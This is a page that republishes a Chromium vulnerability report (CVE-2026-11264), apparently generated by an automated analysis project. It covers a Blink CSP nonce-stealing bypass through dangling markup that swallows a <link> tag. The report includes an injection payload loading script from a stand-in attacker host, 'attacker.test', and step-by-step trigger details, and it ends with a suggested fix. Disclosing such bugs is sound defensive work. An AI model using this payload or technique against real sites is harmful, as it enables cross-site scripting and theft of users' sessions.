Skip to content
XSS Advisory Advanced CVE-2026-11264

Policy bypass in Content Security Policy (CVE-2026-11264)

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 58 days

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: The IsNonceableElement function in Blink's CSP implementation fails to include <LINK in its blocklist of forbidden attribute substrings. This allows an attacker to use a dangling markup injection to swallow a subsequent valid <link> tag and steal its nonce. If the site shares nonces between script-src and style-src, this can bypass CSP and lead to Cross-Site Scripting (XSS).

Affected files:

  • third_party/blink/renderer/core/frame/csp/content_security_policy.cc

Estimated timestamp from git blame: 2026-02-16

Summary

There is a potential vulnerability in how Blink enforces Content Security Policy (CSP) nonces against dangling markup injections. The function ContentSecurityPolicy::IsNonceableElement, which is designed to prevent injected tags from stealing nonces from legitimate tags, contains an incomplete blocklist. It blocks attributes containing <SCRIPT or <STYLE, but fails to block <LINK. This allows an attacker to hijack a nonce from a <link> tag, bypassing CSP if the nonce is shared with script-src.

Technical Details

When the HTML tokenizer encounters an unclosed tag, it can absorb subsequent markup into the unclosed tag as attributes. This is a known vector for stealing attributes like nonces.

To mitigate this, third_party/blink/renderer/core/frame/csp/content_security_policy.cc implements IsNonceableElement. Before returning a nonce for CSP evaluation, it scans all attribute names and values of an element. If any contain the substrings <SCRIPT or <STYLE (case-insensitive), it assumes the element is the result of a dangling markup injection and ignores the nonce.

C++
// content_security_policy.cc:241-249
static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
for (const Attribute& attr : element->Attributes()) {
  const AtomicString& name = attr.LocalName();
  const AtomicString& value = attr.Value();
  if (name.FindIgnoringAsciiCase(kScriptString) != kNotFound ||
      name.FindIgnoringAsciiCase(kStyleString) != kNotFound ||
      // ...

However, this blocklist does not include <LINK.

Attack Vector

If a page uses a shared nonce for script-src and style-src (a common practice) and contains a nonced stylesheet link, an attacker can exploit this.

Victim HTML:

HTML
<div id="injection-point">
  <!-- Attacker injects: <script src=//attacker.test/x.js  -->
</div>
<link rel=stylesheet nonce="abc" href=legit.css>
<script nonce="abc">/* legitimate script */</script>

Suggested Steps to Trigger: (Note: These are potential steps based on code analysis; a live Proof of Concept has not been executed).

  1. The attacker injects <script src="//attacker.test/x.js" (note the trailing space and omitted closing bracket).
  2. The HTMLTokenizer parses the src attribute. It then enters kBeforeAttributeNameState.
  3. It encounters the < from the victim's <link tag. In kBeforeAttributeNameState, a < character triggers a ParseError, but the tokenizer recovers by creating a new attribute that starts with < (html_tokenizer.cc:846).
  4. The tokenizer enters kAttributeNameState and appends l, i, n, k to the attribute name.
  5. Subsequent parts of the victim's tag (rel="stylesheet", nonce="abc", etc.) are parsed as further attributes of the attacker's script.
  6. The > from the victim's tag closes the attacker's script tag.
  7. The resulting HTMLScriptElement has an attribute named <link and the stolen nonce="abc".
  8. When the browser checks the CSP, ScriptLoader::PrepareScript calls HTMLScriptElement::GetNonceForElement(), which calls IsNonceableElement.
  9. Because <link is not in the <SCRIPT / <STYLE blocklist, IsNonceableElement returns true.
  10. The stolen nonce matches the script-src CSP directive, and the malicious script executes.

Suggested Fix

Add <LINK to the blocklist in ContentSecurityPolicy::IsNonceableElement.

C++
static const char kScriptString[] = "<SCRIPT";
static const char kStyleString[] = "<STYLE";
static const char kLinkString[] = "<LINK";
// ... add checks for kLinkString

Evaluated with Chrome root at commit: f200f57a19490707ff8bc7aa5de3cbc443a3afad


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A low-severity XSS bug in Content Security Policy (Google Chrome). Chrome VRP made it public on 2 June 2026 as CVE-2026-11264. Fixed in version 149.0.7827.53.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.